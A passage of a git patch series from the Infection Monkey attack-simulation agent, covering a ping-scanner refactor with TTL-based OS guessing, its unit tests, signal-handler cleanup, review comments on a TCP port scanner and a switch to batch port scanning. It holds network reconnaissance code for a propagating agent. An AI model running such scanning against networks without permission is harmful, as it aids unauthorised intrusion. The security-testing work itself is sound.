f2b82a8b4..437f73b44 100644 --- a/monkey/monkey_island/cc/models/config.py +++ b/monkey/monkey_island/cc/models/config.py @@ -1,4 +1,4 @@ -from mongoengine import EmbeddedDocument, BooleanField +from mongoengine import BooleanField, EmbeddedDocument class Config(EmbeddedDocument): From 9f2fe5e51361f99d470dea75a2d40ac5850e6fff Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 31 Jan 2022 19:53:59 -0500 Subject: [PATCH 0290/1110] Agent: Refactor ping_scanner to remove unnecessary inheritance --- monkey/infection_monkey/network/__init__.py | 1 + .../infection_monkey/network/ping_scanner.py | 118 ++++++------ .../infection_monkey/network/test_ping.py | 175 ++++++++++++++++++ 3 files changed, 237 insertions(+), 57 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/network/test_ping.py diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py index f9db1b677..380953093 100644 --- a/monkey/infection_monkey/network/__init__.py +++ b/monkey/infection_monkey/network/__init__.py @@ -1 +1,2 @@ from .scan_target_generator import NetworkAddress, NetworkInterface +from .ping_scanner import ping diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index 388c5916d..e286be2b2 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -1,79 +1,83 @@ import logging +import math import os import re import subprocess import sys -import infection_monkey.config -from infection_monkey.network.HostFinger import HostFinger -from infection_monkey.network.HostScanner import HostScanner +from infection_monkey.i_puppet import PingScanData -PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c" -PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W" -TTL_REGEX_STR = r"(?<=TTL\=)[0-9]+" -LINUX_TTL = 64 -WINDOWS_TTL = 128 +TTL_REGEX = re.compile(r"TTL=([0-9]+)\b", re.IGNORECASE) +LINUX_TTL = 64 # Windows TTL is 128 +PING_EXIT_TIMEOUT = 10 logger = logging.getLogger(__name__) -class PingScanner(HostScanner, HostFinger): - _SCANNED_SERVICE = "" +def ping(host: str, timeout: float) -> PingScanData: + if "win32" == sys.platform: + timeout = math.floor(timeout * 1000) - def __init__(self): - self._timeout = infection_monkey.config.WormConfiguration.ping_scan_timeout - if not "win32" == sys.platform: - self._timeout /= 1000 + ping_command_output = _run_ping_command(host, timeout) - self._devnull = open(os.devnull, "w") - self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE) + ping_scan_data = _process_ping_command_output(ping_command_output) + logger.debug(f"{host} - {ping_scan_data}") - def is_host_alive(self, host): - ping_cmd = self._build_ping_command(host.ip_addr) - logger.debug(f"Running ping command: {' '.join(ping_cmd)}") + return ping_scan_data - return 0 == subprocess.call( - ping_cmd, - stdout=self._devnull, - stderr=self._devnull, - ) - def get_host_fingerprint(self, host): - ping_cmd = self._build_ping_command(host.ip_addr) - logger.debug(f"Running ping command: {' '.join(ping_cmd)}") +def _run_ping_command(host: str, timeout: float) -> str: + ping_cmd = _build_ping_command(host, timeout) + logger.debug(f"Running ping command: {' '.join(ping_cmd)}") - # If stdout is not connected to a terminal (i.e. redirected to a pipe or file), the result - # of os.device_encoding(1) will be None. Setting errors="backslashreplace" prevents a crash - # in this case. See #1175 and #1403 for more information. - encoding = os.device_encoding(1) - sub_proc = subprocess.Popen( - ping_cmd, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - text=True, - encoding=encoding, - errors="backslashreplace", - ) + # If stdout is not connected to a terminal (i.e. redirected to a pipe or file), the result + # of os.device_encoding(1) will be None. Setting errors="backslashreplace" prevents a crash + # in this case. See #1175 and #1403 for more information. + encoding = os.device_encoding(1) + sub_proc = subprocess.Popen( + ping_cmd, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding=encoding, + errors="backslashreplace", + ) - logger.debug(f"Retrieving ping command output using {encoding} encoding") - output = " ".join(sub_proc.communicate()) - regex_result = self._ttl_regex.search(output) - if regex_result: - try: - ttl = int(regex_result.group(0)) - if ttl <= LINUX_TTL: - host.os["type"] = "linux" - else: # as far we we know, could also be OSX/BSD but lets handle that when it - # comes up. - host.os["type"] = "windows" + logger.debug(f"Retrieving ping command output using {encoding} encoding") - host.icmp = True + try: + # The underlying ping command should timeout within the specified timeout. Setting the + # timeout parameter on communicate() is a failsafe mechanism for ensuring this does not + # block indefinitely. + output = " ".join(sub_proc.communicate(timeout=(timeout + PING_EXIT_TIMEOUT))) + logger.debug(output) + except subprocess.TimeoutExpired as te: + logger.error(te) + return "" - return True - except Exception as exc: - logger.debug("Error parsing ping fingerprint: %s", exc) + return output - return False - def _build_ping_command(self, ip_addr): - return ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(self._timeout), ip_addr] +def _process_ping_command_output(ping_command_output: str) -> PingScanData: + ttl_match = TTL_REGEX.search(ping_command_output) + if not ttl_match: + return PingScanData(False, None) + + # It should be impossible for this next line to raise any errors, since the TTL_REGEX won't + # match at all if the group isn't found or the contents of the group are not only digits. + ttl = int(ttl_match.group(1)) + + operating_system = None + if ttl <= LINUX_TTL: + operating_system = "linux" + else: # as far we we know, could also be OSX/BSD, but lets handle that when it comes up. + operating_system = "windows" + + return PingScanData(True, operating_system) + + +def _build_ping_command(host: str, timeout: float): + ping_count_flag = "-n" if "win32" == sys.platform else "-c" + ping_timeout_flag = "-w" if "win32" == sys.platform else "-W" + + return ["ping", ping_count_flag, "1", ping_timeout_flag, str(timeout), host] diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_ping.py b/monkey/tests/unit_tests/infection_monkey/network/test_ping.py new file mode 100644 index 000000000..422f234f7 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/network/test_ping.py @@ -0,0 +1,175 @@ +import subprocess +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.network import ping + +LINUX_SUCCESS_OUTPUT = """ +PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. +64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=0.057 ms + +--- 192.168.1.1 ping statistics --- +1 packets transmitted, 1 received, 0% packet loss, time 0ms +rtt min/avg/max/mdev = 0.057/0.057/0.057/0.000 ms +""" + +LINUX_NO_RESPONSE_OUTPUT = """ +PING test-fake-domain.com (127.0.0.1) 56(84) bytes of data. + +--- test-fake-domain.com ping statistics --- +1 packets transmitted, 0 received, 100% packet loss, time 0ms +""" + +WINDOWS_SUCCESS_OUTPUT = """ +Pinging 10.0.0.1 with 32 bytes of data: +Reply from 10.0.0.1: bytes=32 time=2ms TTL=127 + +Ping statistics for 10.0.0.1: + Packets: Sent = 1, Received = 1, Lost = 0 (0% loss), +Approximate round trip times in milli-seconds: + Minimum = 2ms, Maximum = 2ms, Average = 2ms +""" + +WINDOWS_NO_RESPONSE_OUTPUT = """ +Pinging 10.0.0.99 with 32 bytes of data: +Request timed out. + +Ping statistics for 10.0.0.99: + Packets: Sent = 1, Received = 0, Lost = 1 (100% loss), +""" + +MALFORMED_OUTPUT = """ +WUBBA LUBBA DUB DUBttl=1a1 time=0.201 ms +TTL=b10 +TTL=1C +ttl=2d2! +""" + + +@pytest.fixture +def patch_subprocess_running_ping(monkeypatch): + def inner(mock_obj): + monkeypatch.setattr("subprocess.Popen", MagicMock(return_value=mock_obj)) + + return inner + + +@pytest.fixture +def patch_subprocess_running_ping_with_ping_output(patch_subprocess_running_ping): + def inner(ping_output): + mock_ping = MagicMock() + mock_ping.communicate = MagicMock(return_value=(ping_output, "")) + patch_subprocess_running_ping(mock_ping) + + return inner + + +@pytest.fixture +def patch_subprocess_running_ping_to_raise_timeout_expired(patch_subprocess_running_ping): + mock_ping = MagicMock() + mock_ping.communicate = MagicMock(side_effect=subprocess.TimeoutExpired(["test-ping"], 10)) + + patch_subprocess_running_ping(mock_ping) + + +@pytest.fixture +def set_os_linux(monkeypatch): + monkeypatch.setattr("sys.platform", "linux") + + +@pytest.fixture +def set_os_windows(monkeypatch): + monkeypatch.setattr("sys.platform", "win32") + + +@pytest.mark.usefixtures("set_os_linux") +def test_linux_ping_success(patch_subprocess_running_ping_with_ping_output): + patch_subprocess_running_ping_with_ping_output(LINUX_SUCCESS_OUTPUT) + result = ping("192.168.1.1", 1.0) + + assert result.response_received + assert result.os == "linux" + + +@pytest.mark.usefixtures("set_os_linux") +def test_linux_ping_no_response(patch_subprocess_running_ping_with_ping_output): + patch_subprocess_running_ping_with_ping_output(LINUX_NO_RESPONSE_OUTPUT) + result = ping("192.168.1.1", 1.0) + + assert not result.response_received + assert result.os is None + + +@pytest.mark.usefixtures("set_os_windows") +def test_windows_ping_success(patch_subprocess_running_ping_with_ping_output): + patch_subprocess_running_ping_with_ping_output(WINDOWS_SUCCESS_OUTPUT) + result = ping("192.168.1.1", 1.0) + + assert result.response_received + assert result.os == "windows" + + +@pytest.mark.usefixtures("set_os_windows") +def test_windows_ping_no_response(patch_subprocess_running_ping_with_ping_output): + patch_subprocess_running_ping_with_ping_output(WINDOWS_NO_RESPONSE_OUTPUT) + result = ping("192.168.1.1", 1.0) + + assert not result.response_received + assert result.os is None + + +def test_malformed_ping_command_response(patch_subprocess_running_ping_with_ping_output): + patch_subprocess_running_ping_with_ping_output(MALFORMED_OUTPUT) + result = ping("192.168.1.1", 1.0) + + assert not result.response_received + assert result.os is None + + +@pytest.mark.usefixtures("patch_subprocess_running_ping_to_raise_timeout_expired") +def test_timeout_expired(): + result = ping("192.168.1.1", 1.0) + + assert not result.response_received + assert result.os is None + + +@pytest.fixture +def ping_command_spy(monkeypatch): + ping_stub = MagicMock() + monkeypatch.setattr("subprocess.Popen", ping_stub) + + return ping_stub + + +@pytest.fixture +def assert_expected_timeout(ping_command_spy): + def inner(timeout_flag, timeout_input, expected_timeout): + ping("192.168.1.1", timeout_input) + + assert ping_command_spy.call_args is not None + + ping_command = ping_command_spy.call_args[0][0] + assert timeout_flag in ping_command + + timeout_flag_index = ping_command.index(timeout_flag) + assert ping_command[timeout_flag_index + 1] == expected_timeout + + return inner + + +@pytest.mark.usefixtures("set_os_windows") +def test_windows_timeout(assert_expected_timeout): + timeout_flag = "-w" + timeout = 1.42379 + + assert_expected_timeout(timeout_flag, timeout, str(1423)) + + +@pytest.mark.usefixtures("set_os_linux") +def test_linux_timeout(assert_expected_timeout): + timeout_flag = "-W" + timeout = 1.42379 + + assert_expected_timeout(timeout_flag, timeout, str(timeout)) From 019f2c1403239292f7b9153681a866a8f7539809 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 31 Jan 2022 19:54:40 -0500 Subject: [PATCH 0291/1110] Agent: Implement ping scanning in Puppet Fixes #1602 PR #1691 --- monkey/infection_monkey/puppet/puppet.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 41ed99250..af550e4cb 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -2,6 +2,7 @@ import logging import threading from typing import Dict +from infection_monkey import network from infection_monkey.i_puppet import ( ExploiterResultData, FingerprintData, @@ -33,7 +34,7 @@ class Puppet(IPuppet): return self._mock_puppet.run_pba(name, options) def ping(self, host: str, timeout: float = 1) -> PingScanData: - return self._mock_puppet.ping(host, timeout) + return network.ping(host, timeout) def scan_tcp_port(self, host: str, port: int, timeout: float = 3) -> PortScanData: return self._mock_puppet.scan_tcp_port(host, port, timeout) From 3f639d40f3c48d1ebb625139029f5024eed19afb Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 2 Feb 2022 16:53:34 +0100 Subject: [PATCH 0292/1110] Agent: Add pkg_resources.py2_warn in the spec file. --- monkey/infection_monkey/Pipfile | 1 + monkey/infection_monkey/Pipfile.lock | 40 +++++++++++++++++----------- monkey/infection_monkey/monkey.spec | 1 + 3 files changed, 26 insertions(+), 16 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index b92fe8f11..90cc234ff 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -6,6 +6,7 @@ name = "pypi" [packages] cryptography = "==2.5" # We can't build 32bit ubuntu12 binary with newer versions of cryptography pyinstaller = "==4.2" +setuptools = "<=60.6.0" # https://github.com/pypa/setuptools/issues/3072 and https://github.com/pyinstaller/pyinstaller/issues/6564 impacket = ">=0.9" ipaddress = ">=1.0.23" netifaces = ">=0.10.9" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 9a5d6dbc6..a40dfa534 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "3790c3815ab19935a2879019cf4fe90dcddc1d6e073651249374fb6bb8c14e9e" + "sha256": "250fc3013e7083083999fbf289f8898d63ceffc95a02e87920d254950832ea68" }, "pipfile-spec": 6, "requires": { @@ -86,19 +86,19 @@ }, "boto3": { "hashes": [ - "sha256:a2ffce001160d7e7c72a90c3084700d50eb64ea4a3aae8afe21566971d1fd611", - "sha256:d7effba509d7298ef49316ba2da7a2ea115f2a7ff691f875f6354666663cf386" + "sha256:1903e4462b08f7696a8d0977361fe9e35e7a50d9e70d7abd72a3a17012741938", + "sha256:34e5ae33ef65b1c4e2e197009e88df5dc217386699939ae897d7fcdb5a6ff295" ], "markers": "python_version >= '3.6'", - "version": "==1.20.46" + "version": "==1.20.47" }, "botocore": { "hashes": [ - "sha256:354bce55e5adc8e2fe106acfd455ce448f9b920d7b697d06faa8cf200fd6566b", - "sha256:38dd4564839f531725b667db360ba7df2125ceb3752b0ba12759c3e918015b95" + "sha256:82da38e309bd6fd6303394e6e9d1ea50626746f2911e3fec996f9046c5d85085", + "sha256:a89b1be0a7f235533d8279d90b0b15dc2130d0552a9f7654ba302b564ab5688a" ], "markers": "python_version >= '3.6'", - "version": "==1.23.46" + "version": "==1.23.47" }, "certifi": { "hashes": [ @@ -254,7 +254,7 @@ "sha256:081649da27ced5e75709a1ee542136eaba9842a0fe4c03da4fb0a3d3ed1f3c44", "sha256:e79351e032d0b606b98d38a4b0e6e2275b31a5b85c873e587cc11b73aca026d6" ], - "markers": "python_version >= '3.6' and python_version < '4'", + "markers": "python_version >= '3.6' and python_version < '4.0'", "version": "==2.2.0" }, "flask": { @@ -525,7 +525,7 @@ "sha256:43e6dd9942dffd72661a2c4ef383ad7da1e6a3e968a927ad7a6083ab410a688b", "sha256:7dc6ad46f05f545f900dd59e8dfb4e84a4827b97b3cfecb175ea0c7d247f6064" ], - "markers": "python_version >= '3.6'", + "markers": "python_version >= '3.5'", "version": "==8.12.0" }, "msldap": { @@ -896,11 +896,11 @@ }, "s3transfer": { "hashes": [ - "sha256:50ed823e1dc5868ad40c8dc92072f757aa0e653a192845c94a3b676f4a62da4c", - "sha256:9c1dc369814391a6bda20ebbf4b70a0f34630592c9aa520856bf384916af2803" + "sha256:25c140f5c66aa79e1ac60be50dcd45ddc59e83895f062a3aab263b870102911f", + "sha256:69d264d3e760e569b78aaa0f22c97e955891cd22e32b10c51f784eeda4d9d10a" ], "markers": "python_version >= '3.6'", - "version": "==0.5.0" + "version": "==0.5.1" }, "scoutsuite": { "git": "git://github.com/guardicode/ScoutSuite", @@ -913,6 +913,14 @@ ], "version": "==21.1.0" }, + "setuptools": { + "hashes": [ + "sha256:c99207037c38984eae838c2fd986f39a9ddf4fabfe0fddd957e622d1d1dcdd05", + "sha256:eb83b1012ae6bf436901c2a2cee35d45b7260f31fd4b65fd1e50a9f99c11d7f8" + ], + "index": "pypi", + "version": "==60.6.0" + }, "six": { "hashes": [ "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", @@ -929,11 +937,11 @@ }, "tempora": { "hashes": [ - "sha256:8d743059a4ea496d925f35480c6d206a7160cacebcd6a31e147fb495dcb732af", - "sha256:aa21dd1956e29559ecb2f2f2e14fcdb950085222fbbf86e6c946b5e1a8c36b26" + "sha256:cba0f197a64883bf3e73657efbc0324d5bf17179e7769b1385b4d75d26cd9127", + "sha256:fbca6a229af666ea4ea8b2f9f80ac9a074f7cf53a97987855b1d15b6e93fd63b" ], "markers": "python_version >= '3.7'", - "version": "==5.0.0" + "version": "==5.0.1" }, "tqdm": { "hashes": [ @@ -1028,7 +1036,7 @@ "sha256:9f50f446828eb9d45b267433fd3e9da8d801f614129124863f9c51ebceafb87d", "sha256:b47250dd24f92b7dd6a0a8fc5244da14608f3ca90a5efcd37a3b1642fac9a375" ], - "markers": "python_version < '3.10'", + "markers": "python_version >= '3.7'", "version": "==3.7.0" }, "zope.interface": { diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 6ed615ec2..3f6461f22 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -74,6 +74,7 @@ def get_hidden_imports(): imports = ['_cffi_backend', '_mssql'] if is_windows(): imports.append('queue') + imports.append('pkg_resources.py2_warn') return imports From da583920508036b319f242d67a33a0c78eda01a6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Dec 2021 15:59:55 -0500 Subject: [PATCH 0293/1110] Agent: Reset signal handlers after the Master is cleaned up After the Master terminates, this resets the signal handlers to the default handlers provided by Python. --- monkey/infection_monkey/monkey.py | 4 +- .../infection_monkey/utils/signal_handler.py | 47 +++++++++++++++---- 2 files changed, 40 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index a7576f258..20ed730a8 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -32,7 +32,7 @@ from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir from infection_monkey.utils.monkey_log_path import get_monkey_log_path -from infection_monkey.utils.signal_handler import register_signal_handlers +from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers from infection_monkey.windows_upgrader import WindowsUpgrader logger = logging.getLogger(__name__) @@ -215,6 +215,8 @@ class InfectionMonkey: if self._master: self._master.cleanup() + reset_signal_handlers() + if self._monkey_inbound_tunnel: self._monkey_inbound_tunnel.stop() self._monkey_inbound_tunnel.join() diff --git a/monkey/infection_monkey/utils/signal_handler.py b/monkey/infection_monkey/utils/signal_handler.py index 831b31441..202c27489 100644 --- a/monkey/infection_monkey/utils/signal_handler.py +++ b/monkey/infection_monkey/utils/signal_handler.py @@ -1,5 +1,6 @@ import logging import signal +from typing import Optional from infection_monkey.i_master import IMaster from infection_monkey.utils.environment import is_windows_os @@ -7,18 +8,25 @@ from infection_monkey.utils.environment import is_windows_os logger = logging.getLogger(__name__) +_signal_handler = None + + class StopSignalHandler: def __init__(self, master: IMaster): self._master = master - def handle_posix_signals(self, signum: int, _): - self._handle_signal(signum, False) + # Windows won't let us correctly deregister a method, but Callables and closures work. + def __call__(self, signum: int, *args) -> Optional[bool]: + if is_windows_os(): + return self._handle_windows_signals(signum) + else: + self._handle_posix_signals(signum, args) - def handle_windows_signals(self, signum: int): + def _handle_windows_signals(self, signum: int) -> bool: import win32con if signum in {win32con.CTRL_C_EVENT, win32con.CTRL_BREAK_EVENT}: - self._handle_signal(signum, False) + self._terminate_master(signum, False) return True if signum == win32con.CTRL_CLOSE_EVENT: @@ -26,25 +34,44 @@ class StopSignalHandler: # Calling self._handle_signal() with block=True to give the master a chance to # gracefully shut down. Note that the OS has a timeout that will forcefully kill the # process if this handler hasn't returned in time. - self._handle_signal(signum, True) + self._terminate_master(signum, True) return True return False - def _handle_signal(self, signum: int, block: bool): + def _handle_posix_signals(self, signum: int, *_): + self._terminate_master(signum, False) + + def _terminate_master(self, signum: int, block: bool): logger.info(f"The Monkey Agent received signal {signum}") self._master.terminate(block) def register_signal_handlers(master: IMaster): - stop_signal_handler = StopSignalHandler(master) + global _signal_handler + _signal_handler = StopSignalHandler(master) if is_windows_os(): import win32api # CTRL_CLOSE_EVENT signal has a timeout of 5000ms, # after that OS will forcefully kill the process - win32api.SetConsoleCtrlHandler(stop_signal_handler.handle_windows_signals, True) + win32api.SetConsoleCtrlHandler(_signal_handler, True) else: - signal.signal(signal.SIGINT, stop_signal_handler.handle_posix_signals) - signal.signal(signal.SIGTERM, stop_signal_handler.handle_posix_signals) + signal.signal(signal.SIGINT, _signal_handler) + signal.signal(signal.SIGTERM, _signal_handler) + + +def reset_signal_handlers(): + """ + Resets the signal handlers back to the default handlers provided by Python + """ + global _signal_handler + + if is_windows_os(): + import win32api + + win32api.SetConsoleCtrlHandler(_signal_handler, False) + else: + signal.signal(signal.SIGINT, signal.SIG_DFL) + signal.signal(signal.SIGTERM, signal.SIG_DFL) From f07c876d31a49aedf03884814d4ea5f01e37a0fe Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Feb 2022 07:42:07 -0500 Subject: [PATCH 0294/1110] Agent: Add code review comments to check_tcp_ports() --- monkey/infection_monkey/network/tools.py | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 4bb9f8020..6f3d15021 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -85,6 +85,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT): :return: List of open ports. """ sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))] + # CR: Don't use list comprehensions if you don't need a list [s.setblocking(False) for s in sockets] possible_ports = [] connected_ports_sockets = [] @@ -96,9 +97,13 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT): connected_ports_sockets.append((port, sock)) possible_ports.append((port, sock)) continue + # BUG: I don't think a socket will ever connect successfully if this error is raised. + # From the documentation: "Resource temporarily unavailable... It is a nonfatal + # error, **and the operation should be retried later**." (emphasis mine). If the + # operation is not retried later, I don't see the point in appending this to + # possible_ports. if err == 10035: # WSAEWOULDBLOCK is valid, see - # https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29 - # .aspx?f=255&MSPPError=-2147217396 + # https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 possible_ports.append((port, sock)) continue if err == 115: # EINPROGRESS 115 /* Operation now in progress */ @@ -109,10 +114,13 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT): if len(possible_ports) != 0: timeout = int(round(timeout)) # clamp to integer, to avoid checking input sockets_to_try = possible_ports[:] + # BUG: If any sockets were added to connected_ports_sockets on line 94, this would + # remove them. connected_ports_sockets = [] while (timeout >= 0) and sockets_to_try: sock_objects = [s[1] for s in sockets_to_try] + # BUG: Since timeout is 0, this could block indefinitely _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0) for s in writeable_sockets: try: # actual test @@ -135,6 +143,8 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT): ) # read first BANNER_READ bytes. We ignore errors because service might not send a # decodable byte string. + # CR: Because of how black formats this, it is difficult to parse. Refactor to be + # easier to read. banners = [ sock.recv(BANNER_READ).decode(errors="ignore") if sock in readable_sockets @@ -143,6 +153,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT): ] pass # try to cleanup + # CR: Evaluate whether or not we should call shutdown() before close() on each socket. [s[1].close() for s in possible_ports] return [port for port, sock in connected_ports_sockets], banners else: From 0dae58baaf5400a309eda47f5268682947a0090a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 7 Feb 2022 15:50:39 +0100 Subject: [PATCH 0295/1110] Agent, UT: Change puppet interface to use scan_tcp_ports Instead of using scan_tcp_port and scan each port seperately we can use scan_tcp_ports which will recieve list of ports for the specific host and return dictionary of port:PortScanData items. There was no point of scanning each port seperately. --- monkey/infection_monkey/i_puppet/i_puppet.py | 14 ++++++++------ monkey/infection_monkey/master/ip_scanner.py | 12 +----------- monkey/infection_monkey/master/mock_master.py | 18 ++++++++++-------- monkey/infection_monkey/puppet/mock_puppet.py | 14 ++++++++------ monkey/infection_monkey/puppet/puppet.py | 8 +++++--- .../infection_monkey/master/test_ip_scanner.py | 15 ++++++++------- 6 files changed, 40 insertions(+), 41 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 3fa2aabd9..c0a42d95c 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -2,7 +2,7 @@ import abc import threading from collections import namedtuple from enum import Enum -from typing import Dict +from typing import Dict, List from . import PluginType @@ -64,14 +64,16 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def scan_tcp_port(self, host: str, port: int, timeout: float) -> PortScanData: + def scan_tcp_ports( + self, host: str, ports: List[int], timeout: float = 3 + ) -> Dict[int, PortScanData]: """ - Scans a TCP port on a remote host + Scans a list of TCP ports on a remote host :param str host: The domain name or IP address of a host - :param int port: A TCP port number to scan + :param int ports: List of TCP port numbers to scan :param float timeout: The maximum amount of time (in seconds) to wait for a response - :return: The data collected by scanning the provided host:port combination - :rtype: PortScanData + :return: The data collected by scanning the provided host:ports combination + :rtype: Dict[int, PortScanData] """ @abc.abstractmethod diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 0f7132a27..135f79c94 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -59,7 +59,7 @@ class IPScanner: logger.info(f"Scanning {address.ip}") ping_scan_data = self._puppet.ping(address.ip, icmp_timeout) - port_scan_data = self._scan_tcp_ports(address.ip, tcp_ports, tcp_timeout, stop) + port_scan_data = self._puppet.scan_tcp_ports(address.ip, tcp_ports, tcp_timeout) fingerprint_data = {} if IPScanner.port_scan_found_open_port(port_scan_data): @@ -80,16 +80,6 @@ class IPScanner: f"ips_to_scan queue is empty, scanning thread {threading.get_ident()} exiting" ) - def _scan_tcp_ports( - self, ip: str, ports: List[int], timeout: float, stop: Event - ) -> Dict[int, PortScanData]: - port_scan_data = {} - - for p in interruptable_iter(ports, stop): - port_scan_data[p] = self._puppet.scan_tcp_port(ip, p, timeout) - - return port_scan_data - @staticmethod def port_scan_found_open_port(port_scan_data: Dict[int, PortScanData]): return any(psd.status == PortStatus.OPEN for psd in port_scan_data.values()) diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index 31d4d83a7..274f960f8 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -70,14 +70,16 @@ class MockMaster(IMaster): if ping_scan_data.os is not None: h.os["type"] = ping_scan_data.os - for p in ports: - port_scan_data = self._puppet.scan_tcp_port(ip, p) - if port_scan_data.status == PortStatus.OPEN: - h.services[port_scan_data.service] = {} - h.services[port_scan_data.service]["display_name"] = "unknown(TCP)" - h.services[port_scan_data.service]["port"] = port_scan_data.port - if port_scan_data.banner is not None: - h.services[port_scan_data.service]["banner"] = port_scan_data.banner + ports_scan_data = self._puppet.scan_tcp_ports(ip, ports) + + for psd in ports_scan_data.values(): + logger.debug(f"The port {psd.port} is {psd.status}") + if psd.status == PortStatus.OPEN: + h.services[psd.service] = {} + h.services[psd.service]["display_name"] = "unknown(TCP)" + h.services[psd.service]["port"] = psd.port + if psd.banner is not None: + h.services[psd.service]["banner"] = psd.banner self._telemetry_messenger.send_telemetry(ScanTelem(h)) logger.info("Finished scanning network for potential victims") diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 182ebe55e..d35ec2cbb 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -1,6 +1,6 @@ import logging import threading -from typing import Dict +from typing import Dict, List from infection_monkey.i_puppet import ( ExploiterResultData, @@ -177,8 +177,10 @@ class MockPuppet(IPuppet): return PingScanData(False, None) - def scan_tcp_port(self, host: str, port: int, timeout: int = 3) -> PortScanData: - logger.debug(f"run_scan_tcp_port({host}, {port}, {timeout})") + def scan_tcp_ports( + self, host: str, ports: List[int], timeout: float = 3 + ) -> Dict[int, PortScanData]: + logger.debug(f"run_scan_tcp_port({host}, {ports}, {timeout})") dot_1_results = { 22: PortScanData(22, PortStatus.CLOSED, None, None), 445: PortScanData(445, PortStatus.OPEN, "SMB BANNER", "tcp-445"), @@ -191,12 +193,12 @@ class MockPuppet(IPuppet): } if host == DOT_1: - return dot_1_results.get(port, _get_empty_results(port)) + return {port: dot_1_results.get(port, _get_empty_results(port)) for port in ports} if host == DOT_3: - return dot_3_results.get(port, _get_empty_results(port)) + return {port: dot_3_results.get(port, _get_empty_results(port)) for port in ports} - return _get_empty_results(port) + return {port: _get_empty_results(port) for port in ports} def fingerprint( self, diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index af550e4cb..175a3f0eb 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -1,6 +1,6 @@ import logging import threading -from typing import Dict +from typing import Dict, List from infection_monkey import network from infection_monkey.i_puppet import ( @@ -36,8 +36,10 @@ class Puppet(IPuppet): def ping(self, host: str, timeout: float = 1) -> PingScanData: return network.ping(host, timeout) - def scan_tcp_port(self, host: str, port: int, timeout: float 